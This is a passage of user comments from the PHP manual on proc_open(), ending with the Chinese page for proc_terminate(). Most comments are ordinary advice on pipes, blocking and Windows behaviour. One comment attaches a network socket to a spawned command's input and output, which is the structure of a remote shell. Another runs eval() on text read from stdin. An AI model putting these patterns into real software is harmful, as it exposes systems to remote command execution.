   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that stdout will to write to
);

$filename = '/var/log/nginx/nginx-access.log';
if( !file_exists( $filename ) ) {
    file_put_contents($filename, '');
}
$process = proc_open('tail -F /var/log/nginx/stats.bluebillywig.com-access.log', $descriptorspec, $pipes);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be sent to $pipes[2]

    // Closing $pipes[0] because we don't need it
    fclose( $pipes[0] );

    // stderr should not block, because that blocks the tail process
    stream_set_blocking($pipes[2], 0);
    $count=0;
    $stream = $pipes[1];

    while ( ($buf = fgets($stream,4096)) ) {
        print_r($buf);
        // Read stderr to see if anything goes wrong
        $stderr = fread($pipes[2], 4096);
        if( !empty( $stderr ) ) {
            print( 'log: ' . $stderr );
        }
    }
    fclose($pipes[1]);
    fclose($pipes[2]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    proc_close($process);
}
?>
stoller at leonex dot de 08-Apr-2016 07:37
If you are working on Windows and try to proc_open an executable that contains spaces in its path, you will get into trouble.

But there's a workaround which works quite well. I have found it here: http://stackoverflow.com/a/4410389/1119601

For example, if you want to execute "C:\Program Files\nodejs\node.exe", you will get the error that the command could not be found.
Try this:
<?php
$cmd = 'C:\\Program Files\\nodejs\\node.exe';
if (strtolower(substr(PHP_OS,0,3)) === 'win') {
    $cmd = sprintf('cd %s && %s', escapeshellarg(dirname($cmd)), basename($cmd));
}
?>
aaronw at catalyst dot net dot nz 05-Oct-2015 11:16
If you have a CLI script that prompts you for a password via STDIN, and you need to run it from PHP, proc_open() can get you there. It's better than doing "echo $password | command.sh", because then your password will be visible in the process list to any user who runs "ps". Alternately you could print the password to a file and use cat: "cat passwordfile.txt | command.sh", but then you've got to manage that file in a secure manner.

If your command will always prompt you for responses in a specific order, then proc_open() is quite simple to use and you don't really have to worry about blocking & non-blocking streams. For instance, to run the "passwd" command:

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open(
        '/usr/bin/passwd ' . escapeshellarg($username),
        $descriptorspec,
        $pipes
);

// It wil prompt for existing password, then new password twice.
// You don't need to escapeshellarg() these, but you should whitelist
// them to guard against control characters, perhaps by using ctype_print()
fwrite($pipes[0], "$oldpassword\n$newpassword\n$newpassword\n");

// Read the responses if you want to look at them
$stdout = fread($pipes[1], 1024);
$stderr = fread($pipes[2], 1024);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_status = proc_close($process);

// It returns 0 on successful password change
$success = ($exit_status === 0);
?>
stevebaldwin21 at googlemail dot com 31-Aug-2015 06:32
For those who are finding that using the $cwd and $env options cause proc_open to fail (windows). You will need to pass all other server environment variables;

$descriptorSpec = array(
       0 => array("pipe", "r"),
       1 => array("pipe", "w"),
    );

proc_open(
        "C:\\Windows\\System32\\PING.exe localhost,
        $descriptorSpec ,
        $pipes,
        "C:\\Windows\\System32",
        array($_SERVER)
);
vanyazin at gmail dot com 25-Jun-2015 04:47
If you want to use proc_open() function with socket streams, you can open connection with help of fsockopen() function and then just put handlers into array of io descriptors:

<?php

    $fh = fsockopen($address, $port);
    $descriptors = [
        $fh,   // stdin
        $fh,   // stdout
        $fh,   // stderr
    ];
    $proc = proc_open($cmd, $descriptors, $pipes);
hablutzel1 at gmail dot com 15-Apr-2015 05:26
Note that the usage of "bypass_shell" in Windows allows you to pass a command of length around ~32767 characters. If you do not use it, your limit is around ~8191 characters only.

See https://support.microsoft.com/en-us/kb/830473.
exel at example dot com 26-Sep-2013 10:05
pipe communications may break brains off. i want to share some stuff to avoid such result.
for proper control of the communications through the "in" and "out" pipes of the opened sub-process, remember to set both of them into non-blocking mode and especially notice that fwrite may return (int)0 but it's not an error, just process might not except input at that moment.

so, let us consider an example of decoding gz-encoded file by using funzip as sub-process: (this is not the final version, just to show important things)

<?php
            // make gz file
            $fd=fopen("/tmp/testPipe", "w");
            for($i=0;$i<100000;$i++)
                fwrite($fd, md5($i)."\n");
            fclose($fd);

            if(is_file("/tmp/testPipe.gz"))
                unlink("/tmp/testPipe.gz");
            system("gzip /tmp/testPipe");

            // open process
            $pipesDescr=array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("file", "/tmp/testPipe.log", "a"),
            );

            $process=proc_open("zcat", $pipesDescr, $pipes);
            if(!is_resource($process)) throw new Exception("popen error");

            // set both pipes non-blocking
            stream_set_blocking($pipes[0], 0);
            stream_set_blocking($pipes[1], 0);

            ////////////////////////////////////////////////////////////////////

            $text="";
            $fd=fopen("/tmp/testPipe.gz", "r");
            while(!feof($fd))
            {
                $str=fread($fd, 16384*4);
                $try=3;
                while($str)
                {
                    $len=fwrite($pipes[0], $str);
                    while($s=fread($pipes[1], 16384*4))
                        $text.=$s;

                    if(!$len)
                    {
                        // if yo remove this paused retries, process may fail
                        usleep(200000);
                        $try--;
                        if(!$try)
                            throw new Exception("fwrite error");
                    }
                    $str=substr($str, $len);
                }
                echo strlen($text)."\n";
            }
            fclose($fd);
            fclose($pipes[0]);

            // reading the rest of output stream
            stream_set_blocking($pipes[1], 1);
            while(!feof($pipes[1]))
            {
                $s=fread($pipes[1], 16384);
                $text.=$s;
            }

            echo strlen($text)." / 3 300 000\n";
?>
mcuadros at gmail dot com 05-Apr-2013 10:56
This is a example of how run a command using as output the TTY, just like crontab -e or git commit does.

<?php

$descriptors = array(
        array('file', '/dev/tty', 'r'),
        array('file', '/dev/tty', 'w'),
        array('file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);
michael dot gross at NOSPAM dot flexlogic dot at 03-Jan-2013 08:33
Please note that if you plan to spawn multiple processes you have to save all the results in different variables (in an array for example). If you for example would call $proc = proc_open..... multiple times the script will block after the second time until the child process exits (proc_close is called implicitly).
bilge at boontex dot com 05-Sep-2012 02:56
$cmd can actually be multiple commands by separating each command with a newline. However, due to this it is not possible to split up one very long command over multiple lines, even when using "\\\n" syntax.
devel at romanr dot info 10-Mar-2012 08:04
The call works as should. No bugs.
But. In most cases you won't able to work with pipes in blocking mode.
When your output pipe (process' input one, $pipes[0]) is blocking, there is a case, when you and the process are blocked on output.
When your input pipe (process' output one, $pipes[1]) is blocking, there is a case, when you and the process both are blocked on own input.
So you should switch pipes into NONBLOCKING mode (stream_set_blocking).
Then, there is a case, when you're not able to read anything (fread($pipes[1],...) == "") either write (fwrite($pipes[0],...) == 0). In this case, you better check the process is alive (proc_get_status) and if it still is - wait for some time (stream_select). The situation is truly asynchronous, the process may be busy working, processing your data.
Using shell effectively makes not possible to know whether the command is exists - proc_open always returns valid resource. You may even write some data into it (into shell, actually). But eventually it will terminate, so check the process status regularly.
I would advice not using mkfifo-pipes, because filesystem fifo-pipe (mkfifo) blocks open/fopen call (!!!) until somebody opens other side (unix-related behavior). In case the pipe is opened not by shell and the command is crashed or is not exists you will be blocked forever.
toby at globaloptima dot co dot uk 14-Nov-2011 01:38
If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.
mattis at xait dot no 03-Feb-2011 07:41
If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe = '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
    $in = fopen($inpipe, 'w');
    fwrite($in, "A message for the inpipe reader\n");
    fclose($in);

    $out = fopen($outpipe, 'r');
    while(!feof($out)) {
        echo "From out pipe: " . fgets($out) . PHP_EOL;
    }
    fclose($out);

    pcntl_waitpid($pid, $status);

    if(pcntl_wifexited($status)) {
        echo "Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
    }

    unlink($outpipe);
    unlink($inpipe);
}

//child
else {
    //parent
    if($pid = pcntl_fork()) {
        pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
    }

    //child
    else {
        pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
    }
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
php at keith tyler dot com 16-Apr-2010 11:32
Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc=proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.
Matou Havlena - matous at havlena dot net 14-Apr-2010 01:03
There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php
class Processmanager {
    public $executable = "C:\\www\\_PHP5_2_10\\php";
    public $root = "C:\\www\\parallelprocesses\\";
    public $scripts = array();
    public $processesRunning = 0;
    public $processes = 3;
    public $running = array();
    public $sleep_time = 2;

    function addScript($script, $max_execution_time = 300) {
        $this->scripts[] = array("script_name" => $script,
                            "max_execution_time" => $max_execution_time);
    }

    function exec() {
        $i = 0;
        for(;;) {
        // Fill up the slots
        while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
        echo "<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
        ob_flush();
        flush();
        $this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
        $this->processesRunning++;
        $i++;
        }

        // Check if done
        if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
            break;
        }
        // sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
      sleep($this->sleep_time);

      // check what is done
        foreach ($this->running as $key => $val) {
                if (!$val->isRunning() or $val->isOverExecuted()) {
            if (!$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
            else echo "<span style='color: red;'>Killed: ".$val->script."</span><br />";
                    proc_close($val->resource);
                    unset($this->running[$key]);
                    $this->processesRunning--;
            ob_flush();
            flush();
                }
            }
        }
    }
}
?>

Process class:
<?php
class Process {
    public $resource;
    public $pipes;
    public $script;
    public $max_execution_time;
    public $start_time;

    function __construct(&$executable, &$root, $script, $max_execution_time) {
        $this->script = $script;
        $this->max_execution_time = $max_execution_time;
        $descriptorspec    = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $this->resource    = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
        $this->start_time = mktime();
    }

    // is still running?
    function isRunning() {
        $status = proc_get_status($this->resource);
        return $status["running"];
    }

    // long execution time, proccess is going to be killer
    function isOverExecuted() {
        if ($this->start_time+$this->max_execution_time<mktime()) return true;
        else return false;
    }

}
?>

Example of using:
<?php
$manager = new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php
Luceo 28-Mar-2010 07:39
It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a') // stderr
);
?>
cbn at grenet dot org 18-Dec-2009 07:30
Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
 * Execute and display the output in real time (stdout + stderr).
 *
 * Please note this snippet is prepended with an appropriate shebang for the
 * CLI. You can re-use only the function.
 *
 * Usage example:
 * chmod u+x proc_open.php
 * ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
 */
define(BUF_SIZ, 1024);        # max buffer size
define(FD_WRITE, 0);        # stdin
define(FD_READ, 1);        # stdout
define(FD_ERR, 2);        # stderr

/*
 * Wrapper for proc_*() functions.
 * The first parameter $cmd is the command line to execute.
 * Return the exit code of the process.
 */
function proc_exec($cmd)
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );

    $ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
    if (!is_resource($ptr))
        return false;

    while (($buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
            || ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
        if (!isset($flag)) {
            $pstatus = proc_get_status($ptr);
            $first_exitcode = $pstatus["exitcode"];
            $flag = true;
        }
        if (strlen($buffer))
            echo $buffer;
        if (strlen($errbuf))
            echo "ERR: " . $errbuf;
    }

    foreach ($pipes as $pipe)
        fclose($pipe);

    /* Get the expected *exit* code to return the value */
    $pstatus = proc_get_status($ptr);
    if (!strlen($pstatus["exitcode"]) || $pstatus["running"]) {
        /* we can trust the retval of proc_close() */
        if ($pstatus["running"])
            proc_terminate($ptr);
        $ret = proc_close($ptr);
    } else {
        if ((($first_exitcode + 256) % 256) == 255
                && (($pstatus["exitcode"] + 256) % 256) != 255)
            $ret = $pstatus["exitcode"];
        elseif (!strlen($first_exitcode))
            $ret = $pstatus["exitcode"];
        elseif ((($first_exitcode + 256) % 256) != 255)
            $ret = $first_exitcode;
        else
            $ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
        proc_close($ptr);
    }

    return ($ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
    if (($ret = proc_exec($argv[1])) === false)
        die("Error: not enough FD or out of memory.\n");
    elseif ($ret == 127)
        die("Command not found (returned by sh).\n");
    else
        exit($ret);
}
?>
simeonl at dbc dot co dot nz 03-Mar-2009 06:39
Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output = $read_error = false;
$buffer_len  = $prev_buffer_len = 0;
$ms          = 10;
$output      = '';
$read_output = true;
$error       = '';
$read_error  = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
    if ($read_output != false)
    {
        if(feof($pipes[1]))
        {
            fclose($pipes[1]);
            $read_output = false;
        }
        else
        {
            $str = fgets($pipes[1], 1024);
            $len = strlen($str);
            if ($len)
            {
                $output .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($read_error != false)
    {
        if(feof($pipes[2]))
        {
            fclose($pipes[2]);
            $read_error = false;
        }
        else
        {
            $str = fgets($pipes[2], 1024);
            $len = strlen($str);
            if ($len)
            {
                $error .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($buffer_len > $prev_buffer_len)
    {
        $prev_buffer_len = $buffer_len;
        $ms = 10;
    }
    else
    {
        usleep($ms * 1000); // sleep for $ms milliseconds
        if ($ms < 160)
        {
            $ms = $ms * 2;
        }
    }
}

return proc_close($process);
?>
snowleopard at amused dot NOSPAMPLEASE dot com dot au 05-Jun-2008 07:46
I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

    if(!is_executable($GPGPath)) {
        trigger_error($GPGPath . " is not executable",
        E_USER_ERROR);
        die();
    } else {
        // Set up the descriptors
        $Descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
            3 => array("pipe", "r") // This is the pipe we can feed the password into
        );

        // Build the command line and start the process
        $CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
        $ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

        if(is_resource($ProcessHandle)) {
            // Push passphrase to custom pipe
            fwrite($Pipes[3], $PassPhrase);
            fclose($Pipes[3]);

            // Push input into StdIn
            fwrite($Pipes[0], $InputData);
            fclose($Pipes[0]);

            // Read StdOut
            $StdOut = '';
            while(!feof($Pipes[1])) {
                $StdOut .= fgets($Pipes[1], 1024);
            }
            fclose($Pipes[1]);

            // Read StdErr
            $StdErr = '';
            while(!feof($Pipes[2]))    {
                $StdErr .= fgets($Pipes[2], 1024);
            }
            fclose($Pipes[2]);

            // Close the process
            $ReturnCode = proc_close($ProcessHandle);

        } else {
            trigger_error("cannot create resource", E_USER_ERROR);
            die();
        }
    }

    if (strlen($StdOut) >= 1) {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdOut;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
        }
    } else {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdErr;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
        }
    }
    return $ReturnValue;
}
?>
radone at gmail dot com 26-May-2008 05:26
To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:

<?php
function gpg_decrypt($string, $secret) {
    $homedir = ''; // path to you gpg keyrings
    $tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to
    file_put_contents($tmp_file, $string);

    $text = '';
    $error = '';
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr ?? instead of a file
        );
    $command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
    $process = proc_open($command, $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $secret);
        fclose($pipes[0]);
        while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $text .= $s;
        }
        fclose($pipes[1]);
        // optional:
        while($s= fgets($pipes[2], 1024)) {
          $error .= $s . "\n";
        }
        fclose($pipes[2]);
    }

    file_put_contents($tmp_file, '');

    if (preg_match('/decryption failed/i', $error)) {
        return false;
    } else {
        return $text;
    }
}
?>
jonah at whalehosting dot ca 02-May-2008 10:22
@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening.  That is why stdin is read: you are writing, the process is reading.  So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it.  In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2.  Specifically GPG as mentioned in the documentation.
joachimb at gmail dot com 30-Apr-2008 08:24
I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
        $descriptorspec = array(
           0 => array("pipe", "r"), // stdin
           1 => array("pipe", "w"), // stdout
           2 => array("pipe", "w") // stderr
        );

        $process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
        while (!feof($pipes[1])) {
            foreach($pipes as $key =>$pipe) {
                $line = fread($pipe, 128);
                if($line) {
                    print($line);
                    $this->log($line);
                }
            }
            sleep(0.5);
        }
...
?>

everything works fine.
jaroslaw at pobox dot sk 28-Mar-2008 02:15
Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path = '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (is_resource($process)) {
    # wait till something happens on other side
    sleep(1);
    # send command
    fwrite($pipes[0], 'echo $test;');
    fflush($pipes[0]);
    # wait till something happens on other side
    usleep(1000);
    # read pipe for result
    echo fread($pipes[1],1024).'<hr>';
    # close pipes
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    $return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test = 'test data generated here<br>';
while(true) {
    # read incoming command
    if($fh = fopen('php://stdin','rb')) {
        $val_in = fread($fh,1024);
        fclose($fh);
    }
    # execute incoming command
    if($val_in)
        eval($val_in);
    usleep(1000);
    # prevent neverending cycle
    if($tmp_counter++ > 100)
        break;
}
?>
chris AT w3style DOT co.uk 22-Feb-2008 02:57
It took me a long time (and three consecutive projects) to figure this out.  Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

    $this->_proc = proc_open($command, $descriptorSpec, $pipes);
    stream_set_blocking($pipes[2], 0);
    if ($err = stream_get_contents($pipes[2]))
    {
      throw new Swift_Transport_TransportException(
        'Process could not be started [' . $err . ']'
        );
    }

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.
Anonymous 27-Dec-2007 07:40
I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec = array(0 => array('pty'),
                        1 => array('pty'),
                        2 => array('pty'));
?>

pipes are bidirectional then
John Wehin 06-Dec-2007 10:52
STDIN STDOUT example
test.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (is_resource($process))
{
    fwrite($pipes[0], "start\n");    // send start
    echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
    fwrite($pipes[0], "get\n");    // send get
    echo ("Get: ".fgets($pipes[1],4096));    //get answer
    fwrite($pipes[0], "stop\n");    //send stop
    echo ("\n\nStop ....".fgets($pipes[1],4096));  //get answer

    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $return_value = proc_close($process);  //stop test_gen.php
    echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys=0;
function play_stop()
{
global $keys;
        $stdin_stat_arr=fstat(STDIN);
        if($stdin_stat_arr[size]!=0)
        {
            $val_in=fread(STDIN,4096);
            switch($val_in)
            {
            case "start\n":    echo "Started\n";
                    return false;
                    break;
            case "stop\n":    echo "Stopped\n";
                    $keys=0;
                    return false;
                    break;
            case "pause\n":    echo "Paused\n";
                    return false;
                    break;
            case "get\n":    echo ($keys."\n");
                    return true;
                    break;
            default:    echo("Передан не верный параметр: ".$val_in."\n");
                    return true;
                    exit();
            }
        }else{return true;}
}
while(true)
{
while(play_stop()){usleep(1000);}
while(play_stop()){$keys++;usleep(10);}
}
?>
php dot net_manual at reimwerker dot de 03-Jun-2006 04:47
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
Kevin Barr 06-Mar-2006 12:36
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
    if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
    else return FALSE;
}
andrew dot budd at adsciengineering dot com 28-Dec-2005 09:55
The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.
mendoza at pvv dot ntnu dot no 21-Oct-2005 10:42
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0],$password);
    fclose($pipes[0]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    return !$return_value;
  }
}
?>
picaune at hotmail dot com 16-Oct-2005 04:51
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
Kyle Gibson 05-Aug-2005 12:16
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
ralf at dreesen[*NO*SPAM*] dot net 09-Jan-2004 11:49
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

   fwrite($pipes[0], $in);
    /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
    * to stdout and blocks, when the stdout buffer is full. Then it will not
    * continue reading from stdin and php will block here.
    */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>
MagicalTux at FF.ST 24-Dec-2003 04:20
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
daniela at itconnect dot net dot au 16-Apr-2003 02:01
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
    $descs = array (
                0 => array ("file", "php://stdin", "r"),
                1 => array ("pipe", "w"),
                2 => array ("pipe", "w")
        );
        $proc = proc_open ("myprogram", $descs, $fp);


杀死由 proc_open 打开的进程

  • ? proc_open
  • shell_exec ?
  • PHP Manual
  • 程序执行函数
  • 杀死由 proc_open 打开的进程

proc_terminate

(PHP 5, PHP 7, PHP 8)

proc_terminate — 杀死由 proc_open 打开的进程

说明

proc_terminate(resource $process, int $signal = 15): bool

向 process（由 proc_open() 创建）发送信号通知其终止。proc_terminate() 调用之后将会立即返回，而不会等待进程终止。

proc_terminate() 允许终止进程并继续其他的任务。可以使用 proc_get_status() 函数轮询进程（查看是否已经停止）。

参数

process

将要关闭的由 proc_open() 打开的 resource。

signal

可选参数，仅用于 POSIX 操作系统。可以使用 kill(2) 系统调用指定要发送到进程的信号。默认值为 SIGTERM。

返回值

返回已运行进程的终止状态。

参见

  • proc_open() - 执行一个命令，并且打开用来输入/输出的文件指针。
